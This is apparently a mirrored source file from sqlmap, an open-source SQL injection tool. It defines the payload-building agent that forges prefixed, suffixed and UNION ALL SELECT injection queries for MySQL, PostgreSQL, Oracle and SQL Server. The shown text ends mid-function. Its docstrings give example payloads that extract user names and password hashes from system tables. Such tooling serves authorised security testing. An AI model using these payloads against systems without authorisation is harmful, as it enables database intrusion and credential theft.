mirror of
https://github.com/sqlmapproject/sqlmap.git
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813 lines
35 KiB
Python
813 lines
35 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from xml.etree import ElementTree as ET
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from lib.core.common import Backend
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from lib.core.common import getCompiledRegex
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from lib.core.common import isDBMSVersionAtLeast
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.common import singleTimeWarnMessage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.enums import PLACE
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.settings import FROM_DUMMY_TABLE
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from lib.core.settings import PAYLOAD_DELIMITER
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from lib.core.settings import URI_INJECTION_MARK_CHAR
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from lib.core.unescaper import unescaper
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class Agent:
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"""
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This class defines the SQL agent methods.
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"""
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def payloadDirect(self, query):
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if query.startswith("AND "):
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query = query.replace("AND ", "SELECT ", 1)
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elif query.startswith(" UNION ALL "):
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query = query.replace(" UNION ALL ", "", 1)
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elif query.startswith("; "):
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query = query.replace("; ", "", 1)
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if kb.tamperFunctions:
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for function in kb.tamperFunctions:
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query = function(query)
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return query
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def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
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"""
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This method replaces the affected parameter with the SQL
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injection statement to request
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"""
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if conf.direct:
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return self.payloadDirect(newValue)
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retValue = ""
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if where is None and isTechniqueAvailable(kb.technique):
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where = kb.injection.data[kb.technique].where
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# Debug print
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#print "value: %s, newValue: %s, where: %s, kb.technique: %s" % (value, newValue, where, kb.technique)
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if kb.injection.place is not None:
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place = kb.injection.place
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if kb.injection.parameter is not None:
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parameter = kb.injection.parameter
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paramString = conf.parameters[place]
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paramDict = conf.paramDict[place]
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origValue = paramDict[parameter]
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if place == PLACE.URI:
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origValue = origValue.split(URI_INJECTION_MARK_CHAR)[0]
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origValue = origValue[origValue.rfind('/') + 1:]
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for char in ('?', '=', ':'):
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if char in origValue:
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origValue = origValue[origValue.rfind(char) + 1:]
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if value is None:
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if where == PAYLOAD.WHERE.ORIGINAL:
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value = origValue
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elif where == PAYLOAD.WHERE.NEGATIVE:
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if not conf.logicNegative:
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if newValue.startswith("-"):
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value = ""
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else:
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value = "-%s" % randomInt()
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else:
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match = re.search(r'\A[^ ]+', newValue)
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newValue = newValue[len(match.group() if match else ""):]
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value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", randomInt(2), randomInt(2))
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elif where == PAYLOAD.WHERE.REPLACE:
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value = ""
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else:
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value = origValue
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newValue = "%s%s" % (value, newValue)
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newValue = self.cleanupPayload(newValue, origValue)
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if place == PLACE.SOAP:
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root = ET.XML(paramString)
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iterator = root.getiterator(parameter)
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for child in iterator:
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child.text = self.addPayloadDelimiters(newValue)
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retValue = ET.tostring(root)
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elif place == PLACE.URI:
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retValue = paramString.replace("%s%s" % (origValue, URI_INJECTION_MARK_CHAR), self.addPayloadDelimiters(newValue))
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elif place in (PLACE.UA, PLACE.REFERER, PLACE.HOST):
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retValue = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
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else:
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retValue = paramString.replace("%s=%s" % (parameter, origValue),
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"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
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# Debug print
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#print "retValue:", retValue
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return retValue
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def fullPayload(self, query):
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if conf.direct:
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return self.payloadDirect(query)
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query = self.prefixQuery(query)
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query = self.suffixQuery(query)
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payload = self.payload(newValue=query)
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return payload
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def prefixQuery(self, expression, prefix=None, where=None, clause=None):
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"""
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This method defines how the input expression has to be escaped
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to perform the injection depending on the injection type
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identified as valid
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"""
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if conf.direct:
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return self.payloadDirect(expression)
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expression = self.cleanupPayload(expression)
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expression = unescaper.unescape(expression)
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query = None
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if where is None and kb.technique and kb.technique in kb.injection.data:
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where = kb.injection.data[kb.technique].where
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# If we are replacing (<where>) the parameter original value with
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# our payload do not prepend with the prefix
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if where == PAYLOAD.WHERE.REPLACE:
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query = ""
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# If the technique is stacked queries (<stype>) do not put a space
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# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
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elif kb.technique == PAYLOAD.TECHNIQUE.STACKED:
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query = kb.injection.prefix
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elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
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query = kb.injection.prefix
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elif clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
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query = prefix
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# In any other case prepend with the full prefix
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else:
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query = kb.injection.prefix or prefix or ""
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if not (expression and expression[0] == ";"):
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query += " "
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query = "%s%s" % (query, expression)
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return query
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def suffixQuery(self, expression, comment=None, suffix=None, where=None):
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"""
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This method appends the DBMS comment to the
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SQL injection request
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"""
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if conf.direct:
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return self.payloadDirect(expression)
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expression = self.cleanupPayload(expression)
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if comment is not None:
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expression += comment
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if where is None and kb.technique and kb.technique in kb.injection.data:
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where = kb.injection.data[kb.technique].where
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# If we are replacing (<where>) the parameter original value with
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# our payload do not append the suffix
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if where == PAYLOAD.WHERE.REPLACE:
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pass
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elif any([kb.injection.suffix, suffix]):
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expression += " %s" % (kb.injection.suffix or suffix)
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return expression
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def cleanupPayload(self, payload, origValue=None):
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if payload is None:
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return
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randInt = randomInt()
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randInt1 = randomInt()
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randStr = randomStr()
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randStr1 = randomStr()
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_ = (
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("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDSTR]", randStr),\
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("[RANDSTR1]", randStr1), ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
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("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
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("[HASH_REPLACE]", kb.chars.hash_)
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)
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payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
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if origValue is not None:
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payload = payload.replace("[ORIGVALUE]", origValue)
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if "[INFERENCE]" in payload:
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if Backend.getIdentifiedDbms() is not None:
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inference = queries[Backend.getIdentifiedDbms()].inference
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if "dbms_version" in inference:
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if isDBMSVersionAtLeast(inference.dbms_version):
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inferenceQuery = inference.query
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else:
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inferenceQuery = inference.query2
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else:
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inferenceQuery = inference.query
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payload = payload.replace("[INFERENCE]", inferenceQuery)
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else:
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errMsg = "invalid usage of inference payload without "
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errMsg += "knowledge of underlying DBMS"
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raise sqlmapNoneDataException, errMsg
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return payload
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def getComment(self, request):
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return request.comment if "comment" in request else ""
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def nullAndCastField(self, field):
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"""
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Take in input a field string and return its processed nulled and
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casted field string.
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Examples:
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MySQL input: VERSION()
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MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
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MySQL scope: VERSION()
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PostgreSQL input: VERSION()
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PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
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PostgreSQL scope: VERSION()
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Oracle input: banner
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Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
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Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
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Microsoft SQL Server input: @@VERSION
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Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
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Microsoft SQL Server scope: @@VERSION
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@param field: field string to be processed
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@type field: C{str}
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@return: field string nulled and casted
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@rtype: C{str}
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"""
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rootQuery = queries[Backend.getIdentifiedDbms()]
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if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
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nulledCastedField = field
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else:
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nulledCastedField = rootQuery.cast.query % field
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if Backend.isDbms(DBMS.ACCESS):
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nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
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else:
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nulledCastedField = rootQuery.isnull.query % nulledCastedField
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if conf.hexConvert:
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if 'hex' in rootQuery:
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nulledCastedField = rootQuery.hex.query % nulledCastedField
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else:
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warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms()
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warnMsg += "Going to switch it off"
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singleTimeWarnMessage(warnMsg)
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conf.hexConvert = False
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return nulledCastedField
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def nullCastConcatFields(self, fields):
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"""
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Take in input a sequence of fields string and return its processed
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nulled, casted and concatenated fields string.
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Examples:
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MySQL input: user,password
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MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
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MySQL scope: SELECT user, password FROM mysql.user
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PostgreSQL input: usename,passwd
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PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
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PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
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Oracle input: COLUMN_NAME,DATA_TYPE
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Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
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Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
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Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
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Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
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Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
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@param fields: fields string to be processed
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@type fields: C{str}
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@return: fields string nulled, casted and concatened
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@rtype: C{str}
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"""
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if not Backend.getDbms():
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return fields
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if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
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nulledCastedConcatFields = fields
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else:
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fields = fields.replace(", ", ",")
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fieldsSplitted = fields.split(",")
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dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
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nulledCastedFields = []
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for field in fieldsSplitted:
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nulledCastedFields.append(self.nullAndCastField(field))
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delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
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nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields)
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return nulledCastedConcatFields
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def getFields(self, query):
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"""
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Take in input a query string and return its fields (columns) and
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more details.
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Example:
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Input: SELECT user, password FROM mysql.user
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Output: user,password
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@param query: query to be processed
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@type query: C{str}
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@return: query fields (columns) and more details
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@rtype: C{str}
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"""
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prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
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fieldsSelectTop = getCompiledRegex("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", re.I).search(query)
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fieldsSelectDistinct = getCompiledRegex("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, re.I).search(query)
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fieldsSelectCase = getCompiledRegex("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, re.I).search(query)
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fieldsSelectFrom = getCompiledRegex("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, re.I).search(query)
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fieldsExists = getCompiledRegex("EXISTS(.*)", re.I).search(query)
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fieldsSelect = getCompiledRegex("\ASELECT%s\s+(.*)" % prefixRegex, re.I).search(query)
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fieldsSubstr = getCompiledRegex("\A(SUBSTR|MID\()", re.I).search(query)
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fieldsMinMaxstr = getCompiledRegex("(?:MIN|MAX)\(([^\(\)]+)\)", re.I).search(query)
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fieldsNoSelect = query
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if fieldsSubstr:
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fieldsToCastStr = query
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elif fieldsMinMaxstr:
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fieldsToCastStr = fieldsMinMaxstr.groups()[0]
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elif fieldsExists:
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fieldsToCastStr = fieldsSelect.groups()[0]
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elif fieldsSelectTop:
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fieldsToCastStr = fieldsSelectTop.groups()[0]
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elif fieldsSelectDistinct:
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fieldsToCastStr = fieldsSelectDistinct.groups()[0]
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elif fieldsSelectCase:
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fieldsToCastStr = fieldsSelectCase.groups()[0]
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elif fieldsSelectFrom:
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fieldsToCastStr = fieldsSelectFrom.groups()[0]
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elif fieldsSelect:
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fieldsToCastStr = fieldsSelect.groups()[0]
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elif fieldsNoSelect:
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fieldsToCastStr = fieldsNoSelect
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# Function
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if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
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fieldsToCastList = [fieldsToCastStr]
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else:
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fieldsToCastList = fieldsToCastStr.replace(", ", ",")
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fieldsToCastList = fieldsToCastList.split(",")
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return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
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def simpleConcatQuery(self, query1, query2):
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concatenatedQuery = ""
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if Backend.isDbms(DBMS.MYSQL):
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concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
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elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2):
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concatenatedQuery = "%s||%s" % (query1, query2)
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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concatenatedQuery = "%s+%s" % (query1, query2)
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return concatenatedQuery
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def concatQuery(self, query, unpack=True):
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"""
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Take in input a query string and return its processed nulled,
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casted and concatenated query string.
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Examples:
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MySQL input: SELECT user, password FROM mysql.user
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MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
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PostgreSQL input: SELECT usename, passwd FROM pg_shadow
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PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
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Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
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Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
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Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
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Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
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@param query: query string to be processed
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@type query: C{str}
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@return: query string nulled, casted and concatenated
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@rtype: C{str}
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"""
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if unpack:
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concatenatedQuery = ""
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query = query.replace(", ", ",")
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fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
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castedFields = self.nullCastConcatFields(fieldsToCastStr)
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concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
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else:
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return query
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if Backend.isDbms(DBMS.MYSQL):
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if fieldsExists:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
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concatenatedQuery += ",'%s')" % kb.chars.stop
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elif fieldsSelectCase:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
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concatenatedQuery += ",'%s')" % kb.chars.stop
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elif fieldsSelectFrom:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
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concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.chars.stop, 1)
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elif fieldsSelect:
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concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
|
|
concatenatedQuery += ",'%s')" % kb.chars.stop
|
|
elif fieldsNoSelect:
|
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2):
|
|
if fieldsExists:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
|
elif fieldsSelectCase:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
|
|
concatenatedQuery += ")||'%s'" % kb.chars.stop
|
|
elif fieldsSelectFrom:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.chars.stop, 1)
|
|
elif fieldsSelect:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
|
elif fieldsNoSelect:
|
|
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
|
if fieldsExists:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
|
concatenatedQuery += "+'%s'" % kb.chars.stop
|
|
elif fieldsSelectTop:
|
|
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
|
elif fieldsSelectCase:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
|
concatenatedQuery += "+'%s'" % kb.chars.stop
|
|
elif fieldsSelectFrom:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
|
elif fieldsSelect:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
|
concatenatedQuery += "+'%s'" % kb.chars.stop
|
|
elif fieldsNoSelect:
|
|
concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
|
|
|
elif Backend.isDbms(DBMS.ACCESS):
|
|
if fieldsExists:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
|
|
concatenatedQuery += "&'%s'" % kb.chars.stop
|
|
elif fieldsSelectCase:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
|
|
concatenatedQuery += ")&'%s'" % kb.chars.stop
|
|
elif fieldsSelectFrom:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
|
|
concatenatedQuery = concatenatedQuery.replace(" FROM ", "&'%s' FROM " % kb.chars.stop, 1)
|
|
elif fieldsSelect:
|
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
|
|
concatenatedQuery += "&'%s'" % kb.chars.stop
|
|
elif fieldsNoSelect:
|
|
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
|
|
|
else:
|
|
concatenatedQuery = query
|
|
|
|
return concatenatedQuery
|
|
|
|
def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False):
|
|
"""
|
|
Take in input an query (pseudo query) string and return its
|
|
processed UNION ALL SELECT query.
|
|
|
|
Examples:
|
|
|
|
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
|
|
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
|
|
|
|
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
|
|
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
|
|
|
|
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
|
|
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
|
|
|
|
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
|
|
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
|
|
|
|
@param query: it is a processed query string unescaped to be
|
|
forged within an UNION ALL SELECT statement
|
|
@type query: C{str}
|
|
|
|
@param position: it is the NULL position where it is possible
|
|
to inject the query
|
|
@type position: C{int}
|
|
|
|
@return: UNION ALL SELECT query string forged
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
if query.startswith("SELECT "):
|
|
query = query[len("SELECT "):]
|
|
|
|
inbandQuery = self.prefixQuery("UNION ALL SELECT " if not (where == PAYLOAD.WHERE.NEGATIVE or multipleUnions) else "UNION SELECT ", prefix=prefix)
|
|
|
|
if limited:
|
|
inbandQuery += ",".join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
|
|
inbandQuery += FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
|
|
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
|
|
|
return inbandQuery
|
|
|
|
topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I)
|
|
if topNumRegex:
|
|
topNum = topNumRegex.group(1)
|
|
query = query[len("TOP %s " % topNum):]
|
|
inbandQuery += "TOP %s " % topNum
|
|
|
|
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
|
|
|
|
if intoRegExp:
|
|
intoRegExp = intoRegExp.group(1)
|
|
query = query[:query.index(intoRegExp)]
|
|
|
|
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and inbandQuery.endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
|
|
inbandQuery = inbandQuery[:-len(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])]
|
|
|
|
for element in xrange(0, count):
|
|
if element > 0:
|
|
inbandQuery += ", "
|
|
|
|
if element == position:
|
|
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
|
|
conditionIndex = query.index(" FROM ")
|
|
inbandQuery += query[:conditionIndex]
|
|
else:
|
|
inbandQuery += query
|
|
else:
|
|
inbandQuery += char
|
|
|
|
if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "):
|
|
conditionIndex = query.index(" FROM ")
|
|
inbandQuery += query[conditionIndex:]
|
|
|
|
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
|
|
if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery:
|
|
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
|
|
|
|
if intoRegExp:
|
|
inbandQuery += intoRegExp
|
|
|
|
if multipleUnions:
|
|
inbandQuery += " UNION ALL SELECT "
|
|
|
|
for element in xrange(count):
|
|
if element > 0:
|
|
inbandQuery += ", "
|
|
|
|
if element == position:
|
|
inbandQuery += multipleUnions
|
|
else:
|
|
inbandQuery += char
|
|
|
|
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE:
|
|
inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
|
|
|
|
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
|
|
|
|
return inbandQuery
|
|
|
|
def limitQuery(self, num, query, field=None, uniqueField=None):
|
|
"""
|
|
Take in input a query string and return its limited query string.
|
|
|
|
Example:
|
|
|
|
Input: SELECT user FROM mysql.users
|
|
Output: SELECT user FROM mysql.users LIMIT <num>, 1
|
|
|
|
@param num: limit number
|
|
@type num: C{int}
|
|
|
|
@param query: query to be processed
|
|
@type query: C{str}
|
|
|
|
@param field: field within the query
|
|
@type field: C{list}
|
|
|
|
@return: limited query string
|
|
@rtype: C{str}
|
|
"""
|
|
|
|
limitedQuery = query
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
|
|
fromIndex = limitedQuery.index(" FROM ")
|
|
untilFrom = limitedQuery[:fromIndex]
|
|
fromFrom = limitedQuery[fromIndex+1:]
|
|
orderBy = False
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num+1, num+1)
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
|
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
if query.startswith("SELECT "):
|
|
delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
|
|
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr)
|
|
else:
|
|
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
|
limitedQuery = limitedQuery % fromFrom
|
|
limitedQuery += "=%d" % (num + 1)
|
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
|
forgeNotIn = True
|
|
|
|
if " ORDER BY " in limitedQuery:
|
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
|
|
|
for notDistinct in notDistincts:
|
|
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
|
|
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
|
topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
|
|
|
|
if topNums:
|
|
topNums = topNums.groups()
|
|
quantityTopNums = topNums[0]
|
